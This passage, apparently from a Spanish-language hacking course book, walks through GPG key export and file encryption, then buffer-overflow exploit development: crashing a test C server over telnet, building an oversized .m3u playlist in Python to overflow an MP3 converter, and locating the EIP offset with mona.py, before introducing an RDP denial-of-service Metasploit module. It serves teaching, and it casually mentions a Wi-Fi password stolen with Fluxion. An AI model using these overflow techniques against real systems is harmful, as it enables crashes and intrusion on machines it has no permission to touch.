confiable, así como el “fingerprint” de esta llave GPG, mostrando usuario, comentarios y al último
el email:

144
 Imagen 1.6: Verificación de autenticidad de llave creada y fingerprint de la misma.

Ahora que ha finalizado por completo el proceso de creación de la llave GPG, es momento de
exportarla y así poderla compartir con alguien es específico o con quienes queramos para así
mantener nuestros datos protegidos y la confidencialidad del archivo a proteger. Para poder hacer
lo anterior, en una terminal nueva o en la misma si así lo quieres, ejecutarás el siguiente comando:
gpg --export –a Hacking > [Link]

Donde:
 gpg: Hace uso del GNU Privacy Guard.
 --export: Indicamos a GPG que exportaremos la llave creada.
 -a Hacking: Hace mención al administrador de esta llave.
 > [Link]: Es el nombre de la llave (puede ser cualquier nombre).

Exportación de llave GPG.

Ya que finalizamos con la exportación y nombramiento de la llave, démosle un vistazo a su

contenido del archivo con extensión “.key” que acabamos de generar con el comando anterior,
para esto ejecutamos mostramos el contendido mediante “cat” ejecutándolo de esta forma:
cat [Link]

Imagen 1.7: Contenido de llave GPG.

145
Como esta es una prueba de concepto, haremos la demostración cifrando o protegiendo el un
archivo con la propia clave (tu clave) que se generó. Para esto ahora tendremos que importarla
desde el directorio donde reside (/root), usando el siguiente comando:
gpg –import [Link]

Al hacerlo se mostrarán los detalles antes vistos en esta clave, así como 3 archivos clave en el
directorio, lo cuales son “[Link]”, “[Link]” y “[Link]” que son los files con los que
trabaja la clave de GPG generada con algoritmo RSA.

Imagen 1.7: Llave GPG importada y sus dependencias.

Ahora que se ha finalizado la importación, haremos una prueba con un archivo con extensión .txt,
que está en el escritorio, en este caso se trata de un password Wi-Fi robado gracias a Fluxión,
(obviamente puedes tener o crear el [Link] que quieras para esta prueba). Para conseguir
esto, navegaremos al directorio en donde resida tu archivo y dentro haremos uso un comando con
la sintaxis siguiente:
gpg –r Hacking --encrypt “Nombre del file a cifrar”:

Imagen 1.8: Ubicación de file y protección y cifrado con llave GPG.

Al momento de realizar el cifrado, se generará un nuevo archivo con el mismo nombre a diferencia
de que se le agregará la extensión “.gpg”, esto quiere decir que el archivo nuevo antes mencionado
se conseguirá desbloquear solamente con nuestra clave GPG

Hasta este punto hemos cifrado la información que queríamos, está protegida. Ahora supongamos
el caso en el que lo envías o distribuyes este archivo cifrado a un grupo de personas, para que
ellos puedan verlo, tendrán que hacer uso de la clave GPG con algoritmo RSA que generaste.
Una vez más haremos la prueba en el mismo equipo con la clave que ya tenemos sobre el archivo
protegido, para iniciar el descifrado haremos uso de la sintaxis del comando siguiente:
146
gpg --decrypt “Nombre de archivo [Link]” > “Nombre de archivo de [Link]”.

Al ejecutarlo aparecerá un banner en donde se solicita el password que se configuró para esta
llave, como eres alguien autorizado para abrir este archivo y tienes el password proporcionado, lo
ingresarás y comenzará el descifrado del file y se mostrarán los detalles sobre la GPG key
generada, así como el tamaño en bits de esta (4096). Consulta la imagen.

Imagen 1.9: Proceso de descifrado del archivo protegido con clave GPG de 4096
bits

Finalmente hemos desprotegido el archivo con cifrado generado por GPG y algoritmo RSA, al
ejecutar el comando anterior y finalizar su proceso, obtendremos un “output file” o archivo de
salida, el cual especificamos como “[Link]”, el cual veremos el directorio donde se
ejecutó el comando anterior, démosle un vistazo a su contenido con el comando “cat”:

Imagen 2.0: Contendio del .txt ya desprotegido.

A lo largo de esta demostración se ejemplificó el uso de las claves o llaves creadas mediante GPG,
y que tan eficientes pueden llegar a ser, la selección de diferentes métodos de cifrado, el tamaño
en bits de esta llave (1024 4096), el proceso de importación y exportación de esta clave GPG, y
el proceso de cifrado y descifrado de archivos con esta llave GPG.
Todo esto con la finalidad de proveer la integridad a la información o comunicación mediante la
versátil gestión de llaves de este tipo

147
148
Introducción.
En el capítulo anterior nos familiarizamos bastante con el uso de RATs para poder
monitorear/controlar algún equipo Windows de forma remota, sin importar el lugar de conexión del
objetivo, así como también pasamos por una breve descripción del source-code que lo constituye.
Ahora, subiendo un escalón más y aumentando el nivel de dificultad, te ensuciarás las manos
con algo de desarrollo (developing), programando las aproximaciones hacia objetivos que cuentan
con una o varias vulnerabilidades en específico.

La formulación de exploits (o Exploit developing) es el proceso que consiste en la creación

de exploits, a lo largo de este tercer capítulo te encontrarás con múltiples vulnerabilidades y harás
el “developing” de los métodos de aproximación para estas en Metasploit y finalmente
conseguirás explotarlas. Para esto, tendrás que hacer uso de una diversa gama de herramientas
que te servirán de apoyo para lo anterior.

Todo esto tiene una finalidad, aprovecharnos de errores de seguridad (security flaws) o
vulnerabilidades que existen en algún recurso informático, puesto a que existen miles de exploits,
cada uno tiene su finalidad o propósito como lo puede ser el causar un overflow, hacer un bypass,
realizar una inyección de código o hasta comprometer un sistema en su totalidad.

Al finalizar este capítulo habrás aprendido lo siguiente:

 Como el lenguaje ensamblador se involucra en la creación de exploits.

 Parámetros a considerar durante el desarrollo.
 Fases de la formulación de un exploit.
 Creación de exploits dentro del Framework de Metasploit.

NOTA: Para que puedas tener una comprensión total de que es lo que viene más adelante en este
capítulo debes contar con conocimientos básicos del lenguaje ensamblador, de lo contrario puede
que se te topes con algunas complicaciones, así que veremos unos aspectos básicos sobre este
y cuál es la importancia que tiene en el desarrollo de exploits.

En el libro COISP 1 podrás encontrar información más a detalle sobre lenguaje ensamblador en el
capítulo de Cracking.

149
Aspectos básicos.
Es importante cubrir algunos conceptos necesarios para poder comprender mejor la creación de
exploits y en que consiste, los siguientes conceptos se aproximan al tema de en la formulación de
exploits en aspectos de seguridad relacionados con Hardware y Software:

 Register (Registro): es un área del procesador que se utiliza para almacenar información,
cada proceso que se ejecuta en el procesador es en base al registro, un ejemplo de ello
fue en el capítulo anterior indicando esta función en el RAT.

 Debugger: Es un software que “depura” otro programa en tiempo de ejecución para

esto puede tener distintas finalidades, como entender a detalle su funcionamiento,
encontrar los diferentes problemas que un programa puede enfrentar durante su ejecución
o para analizar una muestra de malware como se verá en un par de capítulos más.
Básicamente su utilidad es mostrar las instrucciones del programa, el estado de los
registros y la memoria. Los debuggers más utilizados son: Immunity Debugger, GDB y
OllyDbg.

 ShellCode: Es el código que se ejecuta después de la explotación exitosa del objetivo es

llamado ShellCode, Habrá veces que la finalidad de la explotación será la obtención de
esto.

 Llamadas de sistema (System Calls): Estas son llevadas a cabo un método de nivel de
sistema invocado por un programa en ejecución.

 x86: Esta es una familia de arquitecturas de que se principalmente son encontradas en

sistemas de Intel, se refieren a los sistemas de 32-bits mientras que los x64 a los de 64-
bits.

 Buffer: Es un soporte de memoria fijo en un programa, y generalmente almacena

datos o información en una pila dependiendo del tipo de memoria que contenga.

 Buffer Overflow: Esto generalmente significa que hay más datos suministrados en la pila
o en el buffer que los que este puede contener, si esto desborda, puede ocasionar el
“Crash” de un programa o simplemente un DoS.

150
Registros.
Estos son los encargados de llevar a cabo casi todas las funciones en el sistema, ya que contienen
todas las instrucciones a ser procesadas. Comúnmente hacemos referencia a alguno de ellos por
el tamaño de memoria que pueden contener (Holding 8 to 32-bits), los registros son componentes
de memoria muy veloces, algunos tipos de estos son los de tipo Index, de propósito general, de
segmento y EFLAGS, veamos algunos de ellos:

 ECX: Este es utilizado para hacer ciclos, funciona como un contador.

 EDX: Funciona como u registro de datos,
 EAX: Este es un acumulador, su finalidad es almacenar datos y operadores.
 EIP: Es un apuntador de instrucciones, este guarda la dirección en donde se ejecutará
la próxima instrucción.
 ESP: Funciona como un apuntador de pila (stack).

El siguiente ejercicio hará énfasis en los últimos 2 registros, estos son los que trabajan
directamente con pilas, y apuntadores de instrucciones, sabiendo esto vamos a crear 2
programas; uno que será la aplicación vulnerable, y otro que se aproveche del código de esta y
haga cambios con los registros.

¿Qué significa esto?

Comprendido lo anterior, podemos explotar un recurso informático sobrescribiendo el valor del

stack en el registro ESP, y sobrescribir el valor de la dirección de instrucciones en el registro EIP.
Todos los registros anteriores tienen un tope máximo de memoria de 32-bits.

151
Nuestra primera aproximación: Buffer Overflow.
Como fue mencionado anteriormente, este consiste en el desbordamiento de datos que contiene
una pila, generalmente llevando al Crashing de la aplicación o servicio, alguna vez habrás lanzado
exploits que tengan la finalidad anterior, sin embargo, ¿Te has preguntado cómo es que hacen
su trabajo?

Bien, aquí tendrás tu primera aproximación en el tema de cómo es que se formula un exploit de
este tipo, asemejándonos al funcionamiento de uno de ellos. Lo que harás en este primer ejercicio
será compilar un programa y en base al código proporcionado para este, explotar el fallo o
vulnerabilidad que se halla dentro.

Haremos énfasis en hacer “Crashear” una Aplicación y saber sobre que circunstancias ocurre esto,
con la finalidad de poder saber comprender y analizar las modificaciones que se tienen que realizar
para conseguir lo anterior.

Como previamente se comentó acerca de los registros, EIP y ESP pueden resultar afectados
cuando se les proporciona a estos una cantidad de datos lo suficientemente grande para poder
ocasionarles un overflow, así que lo que se hará será compilar un programa que usará buffers y
le ocasionaremos un Crash. Pero antes cubrirás algunos conceptos importantes para que
entiendas cuál es su lugar en los programas y como es que se involucran en una vulnerabilidad
de este tipo.

Lo que necesitarás:

 Windows 10
 Parrot Security OS

Teniendo esto, usarás un bloque de código llamado “bof-server”, se te proporcionó en el material

para este libro, este se encuentra en el folder correspondiente a este capítulo.

152
El programa al que nos referimos está hecho en C, lo verás en la sintaxis en un momento, ahora
lo que harás con este código será compilarlo, para esto usaremos un compilador de C, en este
caso será LCC Compiler que también viene incluido en el material correspondiente a este capítulo,
aunque también puedes descargarlo por aquí: [Link]

Antes de continuar habrá que hacer una pequeña configuración en el equipo Windows, siendo
esta la habilitación del cliente Telnet. Esta función nos permitirá interacción local remota entre
Windows y Parrot, lo que la lleva ser la intérprete para explotar la vulnerabilidad del código.

Para esto solo basta con seguir los pasos siguientes:

 Hacer clic derecho en Windows, seleccionar la opción “Programas y características”

 Con esto ingresaremos al panel de control, en la parte superior izquierda veremos la opción
“Activar o desactivar características de Windows”.
 Aquí colocamos un “check” a “Cliente Telnet” y hacemos clic en Aceptar:

Imagen 30.1: Habilitación de cliente Telnet.

Teniendo esto configurado y haber hecho la instalación de LCC Compiler lo abriremos. Hecho
esto, buscamos el archivo que contiene el código en C, esto desde el menú desplegable “File” y
seleccionado la opción “Open”.

Una vez localizado lo abrimos y veremos una ventana con el código siguiente:

Imagen 30.2: Código visualizado por LCC Compiler.

153
Puedes sentirte libre de leer o inspeccionar el código de este programa si así lo quieres. LCC
Compiler pide la creación de un proyecto por cada file que se quiera compilar, por lo que habrá
que hacer esto, para conseguirlo más rápido, basta con seleccionar la opción “Compile” que
aparecerá antes del nombre del File actual, al finalizar aparecerá un mensaje indicando el tiempo
que tomó, todo esto se hace desde el menú “Compiler”:

Imagen 30.3 – 30.5: Código compilado y directorio de aplicación.

Ahora que finalizó la compilación y ya teniendo el programa, pasaremos a probarlo nosotros

mismos, sin involucrar el uso de demás software para conseguir el error interno de la aplicación.
Dentro de CMD, ejecutamos el siguiente comando:

 “C:\ (lugar donde resida tu archivo .exe)> [Link] “Puerto preferencial”

Lo que esto hará será hacer una llamada al programa y establecer algún puerto que usará el
programa para funcionar, este puede ser de nuestra preferencia, en este caso se usó el 200.
Luego de la ejecución de este primer comando haremos una segunda, ahora usando a la función
“Telnet” para poder conectarse al puerto escogido, para ello basta con ejecutar en una nueva
terminal este comando con la siguiente sintaxis.

 “telnet localhost (puerto escogido)”

Hecho esto obtendremos lo siguiente:

1) Lo primero es poner en función el binario en el puerto asignado.

2) Hecho esto, en otra terminal conectamos con el puerto asignado mediante Telnet.
3) Al conseguir eso, veremos en la primera terminal un banner que indica la conexión.
4) Volvemos a la segunda terminal y tendremos una Shell para ingresar datos.

154
 Imagen 30.6 – 30.9: Proceso de conexión por Telnet a la Aplicación.

Dentro de esta Shell de Telnet, pondremos en función la finalidad del programa y de los registros
EIP y ESP, que son el almacenar datos en una pila y el otro apuntar direcciones de
instrucciones. Sabiendo esto ingresaremos caracteres aleatorios en el input en 3 intentos.

Durante los 2 primeros no ha pasado nada, en cambio, en el tercer intento ingresaremos los
suficientes caracteres con el fin de conseguir el cierre de la aplicación, gracias al Buffer-overflow
que ocasionamos. Como se puede ver, un mensaje de error fue generado por Windows, en
donde indica que la aplicación tuvo un fallo durante su funcionamiento.

155
 Imagen 31.0: Desbordamiento conseguido.

Hasta ahora hemos sobrescrito los valores del registro ESP que es el que trabaja con el stack
(pila), consiguiendo así el Crashing de la aplicación y por ende su cierre total.

Pero esto lo hemos hecho sobre la misma aplicación, así que es momento de hacerlo de forma
remota desde otra máquina que se halle en el mismo segmento de red que la máquina atacante,
la cual será la que contenga la distro de Parrot Security OS.

Aquí es donde crearemos un file con Perl el cual contendrá un número específico de caracteres
aleatorios.

Estando en Parrot abriremos una terminal y ejecutamos el siguiente comando:

 perl -e ‘print’ “LOL” x 300 , “HM” x 300’ > [Link] : Este creará un script que imprima
los caracteres “LOL” y “HM” 300 veces cada uno:

Imagen 31.1: Código en Pearl para desbordar la pila.

156
Teniendo en cuenta que la aplicación tuvo un fallo al ingresar alrededor de 300 caracteres
en una sola instancia.

La diferencia que harás con esto es que te has deshecho de la parte manual de hacerlo todo en
la propia maquina Windows en donde corre la aplicación, ahora solo bastará con que hagas una
conexión Telnet desde Parrot mientras la aplicación esté en función en el Host Windows, para esto
volverás a ejecutar el primer comando de la lista ([Link] 200).

Luego de que se haya puesto el programa a trabajar sobre este puerto o el que se haya
seleccionado, pasarás a ejecutar el siguiente comando en Parrot:

 telnet “Dirección IP del Host que contenga la Aplicación” “Puerto” <[Link]

Imagen 31.2 y 31.3: Overflow conseguido desde Parrot.

Al momento de que se haya llevado a cabo la ejecución, inmediatamente aparecerá un banner en

la terminal de Parrot indicando la conexión exitosa y otro indicando que esta conexión fue
cerrada por el host remoto (Windows).

Pasando al lado de Windows, nos encontraremos con el mismo error de fallo en la aplicación,
el que se ocasiono debido a la sobre escritura de valores en el registro ESP, gracias a que tú
hiciste un Buffer-overflow en el. Además, se puede ver los diferentes registros de conexión y
desconexión de Telnet, debido al Overflow ocasionado un par de veces por este método, otra forma
en que se puede manifestar la desconexión es que en la terminal aparezca un banner indicando
la finalización anormal del programa:

157
 Imagen 31.4 y 31.5: Verificación del Crash del programa.

De forma clara y concisa se vio como es que se puede ocasionar un desbordamiento de pila
(Overflow/ Stack-overflow) mediante la sobre escritura de los valores que existen en un registro,
siendo este el ESP (Stack Pointer), y después perjudicando al registro EIP (Instruction Pointer)
en donde se ubica la dirección de instrucciones donde se halló el Crash. Siendo esta la dirección
en la aplicación que no supo cómo y hacia donde proceder, terminando en el cierre del programa.
Con esto podemos llevar las cosas un poco más lejos y adentrarnos más en terreno de Lenguaje
ensamblador y Debuggers para desarrollar un bloque de código más completo que también nos
permita conseguir la explotación en de un programa.

La segunda aproximación: Buffer Overflow mediante Python y uso de Immunity

Debugger.
En el ejercicio anterior se demostró y ejemplifico una vulnerabilidad de tipo BOF (Buffer-overflow)
en donde creamos un programa vulnerable en C el cual solo aceptaba la entrada de caracteres,
sin embargo, el fallo estuvo en que si se rebasaba el tope o la cantidad máxima de datos que
podía contener la pila, a esta le ocurría un desbordamiento.

Utilizamos 2 formas distintas para explotar esto y conseguir el fallo de la aplicación, una era
interactuar directamente con el programa y simplemente ingresar caracteres de más dentro de él,
y la otra era que desde Parrot se hiciese el envío de un script en Perl que imprimía 600 caracteres
al momento de ejecutarse, consiguiendo así el Crash de la aplicación de forma remota,
aproximándonos cada vez más a la formulación de un exploit. Ahora en esta nueva prueba,
trabajarás con una Aplicación auténtica la cual cuenta con una vulnerabilidad de este tipo, solo
que un poco más compleja de explotar. Una vez que consigas el primer medio de explotación,
pasarás a utilizar un Debugger (Depurador) sobre la aplicación, esto tiene como final el que
comprendas más a detalle este fallo, utilizando como intérprete o depurador a Immunity
Debugger, entendiendo así las instrucciones involucradas y registros afectados por esta
vulnerabilidad y su explotación.

158
Como ya se sabe, esto también se consigue mediante la ejecución remota de código, ahora
utilizaremos a Python para hacer el compilar el código que consiga afectar la aplicación, una vez
que consigas esto y hayas utilizado el Debugger para interpretar de mejor forma este Crashing del
programa, harás uso de una librería en Python para la escritura de exploits. Dentro del
repertorio de material correspondiente a este capítulo, encontrarás una carpeta nombrada “BOF
No. 2”, dentro viene lo necesario para poder completar este ejercicio:

Antes de comenzar habrá que instalar un par de cosas para poder completar esta prueba, realiza
estas instalaciones dentro de tu equipo Windows en el siguiente orden:

1) Python- 2.7.13: Es el lenguaje que usaremos y sobre el que vamos a compilar el exploit.

Imagen 31.6: Instalación de Python.

2) Immunity Debugger 1.85: Este es el software depurador que se usará en esta prueba,
requiere la instalación de Python.

Imagen 31.7: Instalación de Immunity Debugger.

3) Mini-streamRM-MP3Converter: Este es el programa sobre el que trabajarás, este cuenta

con o contiene el fallo de seguridad tipo “BOF” del cual te aprovecharás. Cuenta con un
periodo trial de 30 días, suficiente para que realices el ejercicio y las pruebas que quieras:

159
 Imagen 31.8: Instalación de software vulnerable.

Una vez que esté listo lo anterior, abriremos el IDLE de Python (GUI) para comenzar nuestra
aproximación, una vez dentro del IDLE abriremos un nuevo archivo desde el menú “File”, en la
opción “New File” y seguiremos los siguientes pasos:

Imagen 31.9: IDLE de Python.

Imagen 32.0: Python.

 Al hacer esto se abrirá una nueva ventana, en donde escribiremos el código de abajo,
terminado, lo guardamos con el nombre y en el lugar de nuestra preferencia desde el menú
“File”, consulta la imagen:

primeravariable= "HackingMexico"*17890

archivo=open("Playlist.m3u","w")

[Link](primeravariable);

[Link]()

160
 Imagen 32.1: Código en Python.

 Ya estando guardado, corremos el programa con la opción “Run Module” desde el menú
“Run”, mostrando la ejecución correcta, con una nueva “Prompt Line”.

Imagen 32.2: Código compilado.

 Lo que hicimos con esto fue que la primera línea imprima el texto “HackingMexico” 17890
veces, luego al momento de la compilación este script se guardará como un archivo con
extensión “.m3u”, que es el formato del Playlist con el que trabaja el programa vulnerable,
este “Playlist” se encuentra en el lugar donde reside el script de Python:

 Teniendo este Playlist, abrimos el programa vulnerable (Mini-streamRM-MP3Converter) y

desde la opción “Load” ubicaremos el directorio del archivo “.m3u” y cargaremos este
“Playlist”, que en realidad es un script que lleva la instrucción de que al momento de su
ejecución imprimir o mostrar 17890 veces el texto configurado, consiguiendo el “Crashing”
de la aplicación:

Imagen 32.3 y 32.4: Aplicación Detenida.

161
Hasta este punto hemos conseguido el desbordamiento de la pila gracias al script hecho en
Python, el cual lo hicimos pasar por un supuesto “Playlist” que cargamos al programa,
ocasionando el Overflow.

Hecho esto, es momento de pasar a utilizar un Debugger para hacer un poco de Reversing y
comprender de mejor forma que es lo que ocurre en el programa cuando la pila de este se
desborda.

Para esto utilizaremos el Debugger antes mencionado, “Immunity Debugger”. Cabe mencionar
que es recomendable siempre ejecutarlo como administrador, también es importante
mencionar que el directorio de instalación de este Debugger puede variar.

Lo más común es que al finalizar la instalación del programa, el lugar en el que resida será en el
directorio “C:\Program Files(x86)\ImmunityInc\ImmunityDebugger”, en este caso debido a la
protección antivirus del equipo, se instaló en el siguiente directorio o “Path”:

Imagen 32.5 y 32.6: Ejecución de Immunity Debugger.

Una vez que lo hayas ejecutado, Immunity Debugger se mostrará de la forma siguiente:

162
 Imagen 32.6: Immunity Debugger.

Una vez dentro, abriremos el Binario que cuenta con la vulnerabilidad de Buffer-overflow, esto
desde el menú “File” mediante la opción “Open” para navegar hacia el directorio en donde reside,
aquí también puede variar el “Path” de instalación, sin embargo, lo común es que se guarde en el
siguiente directorio, (Por obvias razones aparece en el historial del Debugger ya que lo abrí con
anterioridad):

Imagen 32.7: Carga de aplicación vulnerable.

Lo que haremos con este binario será una poco de Reversing hacia este, depurando el código y
mostrándolo en un lenguaje de bajo nivel, esto con la finalidad de identificar qué es lo que está
siendo afectado en el programa, que registros están involucrados en este fallo, y como conseguir
que, gracias a esta nueva información, podamos llevar las cosas un poco más lejos. Está de más
mencionar que deberás tener conceptos esenciales de “Assembler” (Lenguaje ensamblador).
Una vez abierto el binario en el Debugger, este se mostrará de la manera siguiente:

163
 Imagen 32.8: Panel CPU y sus ventanas en el Debugger.

Antes de que sigamos con esto, hay que aclarar ciertos puntos. Cuando se carga una aplicación
o un binario a Immunity Debugger, este por defecto abrirá un panel nombrado “CPU” que es el que
se ve en la imagen anterior, este está dividido de 4 componentes:

 Dissasembly (Desmontaje): Esta parte está dividida en 4 columnas, en la primera se

puede ver la dirección de memoria o “Memory address”, en la segunda se muestra el
código de operación de la instrucción que se halla en esa dirección, el lenguaje máquina
está hecho con estos códigos de operación, que son lo que el CPU está ejecutando en
realidad. En la tercera columna se encuentra el código ensamblador, y la cuarta es la que
contiene comentarios, estos los produce el Debugger, sin embargo, tú puedes cambiarlos.

 Registers (Registros): Aquí se pueden visualizar todos los registros del CPU y sus valores,
se pueden ver registros de propósito general (General Purpose) los cuales contienen
valores temporales, y también se ven registros para controlar el flujo del programa, también
se pueden ver registros bandera, los cuales el CPU cambia cuando ha ocurrido algo
importante o notorio (como un Overflow).

 Dump (Volcado): Esta ventana muestra la vista hexadecimal del programa completo,
dividida en 3 columnas, la primera muestra la dirección, la segunda los valores que se
hallan en esa dirección, y la última muestra cometarios.

 Stack (Pila): Muestra la locación de memoria a la que apunta el registro “ESP”.

164
Entendidos los puntos anteriores, es momento de correr el programa sobre el Debugger para
poder interpretar mejor las instrucciones que se llevan a cabo para esta ejecución, para ello
haremos clic en la opción “Run”, al principio verás unos movimientos en las instrucciones e
inmediatamente aparecerá en detención (Paused) el programa, esto lo puedes verificar en la
esquina inferior derecha del Debugger, esto no quiere decir que no funcione correctamente el
programa, si no que las instrucciones de inicio trabajan en fases diferentes, solo basta con hacer
clic en “Run” una vez más. Luego de esto se abrirá el programa, ahora repetirás los pasos
anteriores; cargar el “Playlist” (Script de Python) con extensión .m3u para conseguir el “Crash”:

165
 Imagen 32.9 – 33.3: Proceso de Debugging y Crashing de la Aplicación.

Como lo habrás notado, la aplicación también se detuvo o hizo “Crash” en el Debugger,

simplemente no se muestra más la parte de “Dissasembly”. Sin embargo, en las partes del
Register y el Stack podrás ver algo peculiar, se trata de los registros ESP y EIP.

El registro ESP (Stack Pointer) apunta a una dirección, la cual contiene como valor “HMex”,
impreso 17890 veces, y EIP, apunta hacia una dirección que es la 4D487865, así como también
en el Stack aparece la misma dirección con el mismo valor:

Imagen 33.4 y 33.5: Identificación de registros afectados, direcciones y valores en ellos.

166
Uso de [Link]
Con lo anterior ya sabemos cuáles son los registros afectados, cuales son las direcciones de
estos y cuál es el valor que existe en el Stack que se desbordó. Ahora es momento de usar
algo diferente que nos será útil para crear código aún más perjudicial. Se trata de “[Link]”, esté
es un repositorio que trabaja en conjunto y solamente para Immunity Debugger, funciona como un
“plug-in” que tiene como finalidad el apoyarnos con la escritura de exploits.

Esta herramienta viene incluida en el material de trabajo para este capítulo, dentro de la carpeta
“mona-master” Para que funcione con el Immunity Debugger simplemente deberá agregarse a la
carpeta “PyCommands” que se encuentra en el directorio de instalación del Debugger, solamente
vas copiar el archivo con extensión .py. Una vez colocado tendrás que reiniciar Immunity
Debugger:

Imagen 33.6 y 33.7: Ubicación y colocación de “[Link]”.

Terminado lo anterior, obviamente tendrás que repetir los pases anteriores hasta la parte en donde
vimos los registros ESP e EIP afectados. Luego que retomes el punto anterior, ejecutarás tal cual
lo siguiente en la barra de comandos de Immunity Debugger: !mona pc 17890

Donde:

 !mona: Manda a llamar al plug-in, el signo de exclamación es obligatorio.

 pc: Significa “Pattern create” o crear patrón, simplemente hará eso.
 17890: El número de patrones que deseamos crear.

167
Al momento de la ejecución aparecerá una nueva ventana con texto en verde neón, indicando el
proceso de la acción ejecutada, así como también muestra detalles sobre lo que solicitamos, como
lo es el tiempo de compilación y el nombre del archivo de salida (output), que es “[Link]”

El renglón con caracteres más largo que vemos es el patrón de 17890 bytes que solicitamos crear,
también veremos una nota en color rojo indicando algo importante, indica que no es
recomendable copiar el patrón desde ahí mismo en el Debugger, ya que puede aparecer
cortado, por lo que habrá que copiarlo directamente desde el archivo de salida con extensión
.txt, este reside en el directorio de instalación de Immunity Debugger.

Imagen 33.8 y 33.9: Proceso de comando de [Link] y .txt generado.

Una vez que tengas ubicado el archivo, lo abrirás y copiarás todo el patrón fue generado con
[Link] desde el Debugger y harás el siguiente cambio en el código del primer script de Python,
en donde reemplazarás el texto “HMex” por el patrón que copiaste, al final del texto a imprimir
indicarás que quieres esa impresión 2 veces (*2), guardarás los cambios y ejecutarás el script:

168
 Imagen 34.0 y 34.1: Patrones aleatorios y su adjunto al código de Python.

Una vez que hayas finalizado todo lo anterior, desde el Debugger reiniciarás el programa, desde
el menú “Debug” mediante la opción “Restart”, al hacer esto nos arrojará un aviso acerca del
proceso que actualmente se está corriendo con este programa, indicando que no se podrá limpiar
el Workspace y no se podrán guardar cambios si se realiza esto, diremos que sí.

Imagen 34.2: Reinicio del programa.

Una vez que demos el SI, se restablecerán las 4 ventanas que constituyen el panel de CPU.
Repetirás los mismos pasos que van desde el inicio de programa en el Debugger hasta la
selección y carga del “Playlist” que en este caso se trata del script en Python que trae los patrones
creados con [Link].

Una vez cargado, verás que la aplicación tendrá de nuevo un “Crash”, siendo este un Overflow
ocasionado por el código proporcionado.

En la ventana de Registers y Stack verás que ahora abundan los caracteres aleatorios que fueron
sacados del archivo “[Link]”, así como también podrás notar que el registro ESP apunta a
una dirección con datos (Caracteres aleatorios), esta dirección también se encuentra en la
ventana de Stack:

169
 Imagen 34.3 y 34.4: Aplicación desbordada, caracteres aleatorios y valores en registros.

Ahora que conseguimos este nuevo “Overflow”, haremos unos nuevos cambios gracias a la
dirección obtenida por el registro EIP, que en este caso se trata de “57316157”, esta dirección la
proporcionáremos como referencia para una nueva instrucción para “[Link]”, para esto se
ejecutará el comando “Pattern offset” o “po”, seguido de la dirección EIP. Ejecutando el comando
con la sintaxis siguiente: !mona po “Dirección EIP”.

Al hacerlo, se mostrará el proceso de ejecución del comando, indicándonos que ha encontrado

un patrón en una posición cíclica, siendo esta en este caso 17163:

Imagen 34.5: Proceso del comando “Pattern Offset” por “[Link]”.

Este número que nos arrojó el Debugger lo usaremos para añadirlo al script y hacer cambios en
este. Esto con el fin de ocasionar de nuevo la detención del programa, sin embargo, verificaremos
los nuevos resultados que se mostrarán en el Debugger. Al código de Python le añadiremos 3
líneas nuevas y modificaremos la primera y la penúltima, quedando de esta forma:

170
primeravariable= "HMex"

punch= "PS"*17163

dirEIP= "EIP"

punch2= "HM"*2846

archivo=open("Playlist.m3u","w")

[Link](primeravariable+punch+dirEIP+punch2);

[Link]()

Imagen 34.6: Nuevo código.

Hecho esto, guardarás los cambios, ejecutarás el código, reiniciarás el programa en Immunity
Debugger, lo correrás de nuevo y cargarás este script como un nuevo “Playlist”:

171
 Imagen 34.7 – 35.0: Compilación del código, reinicio del programa, y nuevo desbordamiento de pila.

Al conseguir el desbordamiento, veremos en la ventana de “Registers” la dirección a la que apunta

el registro EIP, que es la 484D84D, si verificamos a detalle la ventana “Stack”, podremos ver que
en ella se encuentran los valores proporcionados en el código de Python, apuntando las
direcciones hacia el valor “HM”, que es el referente al registro EIP con dirección 484D484D,
también vemos el valor “EIP” y “PS” proporcionados en el script, cada uno apuntando a direcciones
diferentes, viéndose de la siguiente manera:

Imagen 35.1: Direcciones y Valores mostrados en Ventana del “Stack”

172
Hasta ahora se ha demostrado de diferentes maneras como se puede conseguir el “Crash” o
detención de una aplicación o programa mediante el desbordamiento de la pila o “Stack” que se
encuentra en el código de este. Ahora, es momento de llevar las cosas algo más allá, en donde
lejos de cerrar un programa al aprovecharse de la vulnerabilidad con la que cuenta, poder
conseguir el “Crashing” total de un sistema Windows, también mediante el código que verás en
las siguientes páginas.

Existe un detalle más, como la vulnerabilidad de la que te vas a aprovechar funciona mediante un
servicio de Windows (Remote Desktop Service), aquí no podrás buscar un file que contenga código
malicioso y abrirlo, ni harás un script con caracteres aleatorios, ni tampoco harás Reversing o
Debugging del programa. Ahora con el código antes mencionado, lo exportarás hacia los
repositorios de Metasploit, creando así tu propio módulo para que después te apoyes del
Framework para poder usar este bloque de código a su modo de Metasploit, y después conseguir
el Denial of Service, y para esto… existe todo un proceso que seguir, antes de ello, es importante
que sepas unas cosas acerca de crear tu propio módulo en Metasploit.

Formulación de tu primer Auxiliary para Metasploit.

Como pentester, es importante que sepas que se habrá ocasiones en las que tendrás las buscar
la manera de perjudicar ciertos recursos informáticos debido a que no cuentas con los medios para
conseguir este fin, como lo es algún exploit o auxiliar para atacar algo, por lo que tendrás que
compilar código por tu cuenta y posteriormente añadirlo al Framework para probar su eficacia.

Al iniciar con esto se da por hecho que estás familiarizado con algo de programación o puedes
comprender lo que hace cada línea del código, así como también has entendido lo que implica una
vulnerabilidad “Buffer Overflow”.

El siguiente escenario te encontrarás con una máquina virtual que cuenta con Windows 7, esta
trae consigo una versión vulnerable de del RDP (Remote desktop protocol), la cual afecta al
servicio de escritorio remoto de Windows, siendo también un overflow. Con el siguiente código,
conseguirás explotar esta vulnerabilidad y así mismo la adición de este a Metasploit, a pesar de
que este código tiene la función de explotar esta vulnerabilidad, se le asignará al módulo
“Auxiliary”, ya que la sintaxis para uso de código en Metasploit establece que se necesita un
payload para poder hacer uso de la librería “Exploit”, por lo que se quedará como un “auxiliar”,
aunque resulte igual de perjudicial que un exploit, para los exploits siempre debe de existir
un bloque de información acerca de un payload, si no existe tal, se le considera un Auxiliar..

173
Elaboración de tu primer módulo en Metasploit.
Bien, la creación de un módulo en Metasploit te puede resultar relativamente fácil, obviamente si
ya tienes alguna habilidad programando o al menos entiendes lo que hacen las líneas de un
determinado código. Para ello, tendrás que programar o “codear” ciertas cosas para que esto
funcione bien. Nuestra primera aproximación de este tipo será con un código que estará hecho en
Ruby. Como la mayor parte de la arquitectura de Metasploit está hecha en base a, vamos a trabajar
sobre un código en este lenguaje.

¿Qué es un módulo en Metasploit?

Metasploit cuenta con un extenso repositorio de scripts, encoders, exploits, etc. Estos van por
